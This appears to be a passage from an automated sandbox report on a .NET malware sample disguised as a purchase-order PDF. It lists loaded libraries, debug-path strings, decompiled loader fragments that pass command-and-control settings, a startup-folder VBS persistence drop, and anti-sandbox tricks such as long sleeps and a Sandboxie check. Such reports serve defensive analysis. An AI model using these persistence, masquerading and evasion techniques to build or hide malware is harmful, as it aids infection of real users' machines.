Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: PO#8329837372938383839238PDF.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: PO#8329837372938383839238PDF.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: HP<o8C:\Windows\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\System.pdbYQXX source: InstallUtil.exe, 00000003.00000002.3397365470.00000000009F2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\exe\InstallUtil.pdbT source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A07000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.000000000463E000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261970867.00000000075C0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: ((.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\exe\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A07000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\InstallUtil.pdbI source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: osymbols\exe\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.000000000463E000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261970867.00000000075C0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: InstallUtil.pdbllUtil.pdbpdbtil.pdb.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdbSHA256}Lq source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: protobuf-net.pdb source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2261142304.0000000007400000.00000004.08000000.00040000.00000000.sdmp, PO#8329837372938383839238PDF.exe, 00000000.00000002.2256839554.0000000004590000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdbp' source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\InstallUtil.pdbpdbtil.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.00000000009F2000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\System.pdbpdbtem.pdbtion source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\exe\InstallUtil.pdbal source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.pdbed[ source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\InstallUtil.pdb( source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A4B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A54000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdbJC source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.PDB`w; source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb- source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A54000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: @Ho.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\System.pdb0. source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\exe\InstallUtil.pdb03 source: InstallUtil.exe, 00000003.00000002.3397365470.0000000000A5F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ?HoC:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.pdb source: InstallUtil.exe, 00000003.00000002.3396210878.00000000006F7000.00000004.00000010.00020000.00000000.sdmp

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, Messages.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, Messages.cs .Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
.NET source code contains potential unpacker
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, ReflectionHelper.cs .Net Code: InvokeMethod
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, ReflectionHelper.cs .Net Code: InvokeMethod
Source: 0.2.PO#8329837372938383839238PDF.exe.468ed70.6.raw.unpack, XmlSerializationHelper.cs .Net Code: ReadObjectProperties
Source: 0.2.PO#8329837372938383839238PDF.exe.45409d0.3.raw.unpack, TypeModel.cs .Net Code: TryDeserializeList
Source: 0.2.PO#8329837372938383839238PDF.exe.45409d0.3.raw.unpack, ListDecorator.cs .Net Code: Read
Source: 0.2.PO#8329837372938383839238PDF.exe.45409d0.3.raw.unpack, TypeSerializer.cs .Net Code: CreateInstance
Source: 0.2.PO#8329837372938383839238PDF.exe.45409d0.3.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateInstance
Source: 0.2.PO#8329837372938383839238PDF.exe.45409d0.3.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateIfNull
Source: 0.2.PO#8329837372938383839238PDF.exe.7400000.10.raw.unpack, TypeModel.cs .Net Code: TryDeserializeList
Source: 0.2.PO#8329837372938383839238PDF.exe.7400000.10.raw.unpack, ListDecorator.cs .Net Code: Read
Source: 0.2.PO#8329837372938383839238PDF.exe.7400000.10.raw.unpack, TypeSerializer.cs .Net Code: CreateInstance
Source: 0.2.PO#8329837372938383839238PDF.exe.7400000.10.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateInstance
Source: 0.2.PO#8329837372938383839238PDF.exe.7400000.10.raw.unpack, TypeSerializer.cs .Net Code: EmitCreateIfNull
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, Messages.cs .Net Code: Plugin System.AppDomain.Load(byte[])
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, Messages.cs .Net Code: Memory System.AppDomain.Load(byte[])
Source: 0.2.PO#8329837372938383839238PDF.exe.38405b8.0.raw.unpack, Messages.cs .Net Code: Memory
Yara detected Costura Assembly Loader
Source: Yara match File source: 0.2.PO#8329837372938383839238PDF.exe.74d0000.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.PO#8329837372938383839238PDF.exe.44c3390.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2261337543.00000000074D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2256839554.0000000004381000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO#8329837372938383839238PDF.exe PID: 2104, type: MEMORYSTR
Drops PE files
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe File created: C:\Users\user\AppData\Roaming\SupportsDynamicPartitions.exe Jump to dropped file

Boot Survival
barindex
Drops VBS files to the startup folder
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportsDynamicPartitions.vbs Jump to dropped file
Creates a start menu entry (Start Menu\Programs\Startup)
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportsDynamicPartitions.vbs Jump to behavior
Stores files to the Windows start menu directory
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SupportsDynamicPartitions.vbs Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: PO#8329837372938383839238PDF.exe PID: 2104, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: PO#8329837372938383839238PDF.exe, 00000000.00000002.2237773509.0000000003752000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Memory allocated: 3130000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Memory allocated: 3380000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Memory allocated: 3130000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: 9B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: 26A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Memory allocated: 46A0000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Window / User API: threadDelayed 7448 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Window / User API: threadDelayed 1173 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 4032 Thread sleep time: -3689348814741908s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 4032 Thread sleep time: -300000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 6448 Thread sleep count: 7448 > 30 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 6448 Thread sleep count: 1173 > 30 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 4032 Thread sleep time: -99873s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 4032 Thread sleep time: -99765s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 4032 Thread sleep time: -99656s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 4032 Thread sleep time: -99547s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 4032 Thread sleep time: -99437s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe TID: 4032 Thread sleep time: -99984s >= -30000s Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 100000 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 99873 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 99765 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 99656 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 99547 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 99437 Jump to behavior
Source: C:\Users\user\Desktop\PO#8329837372938383839238PDF.exe Thread delayed: delay time: 99984 Jump to behavior
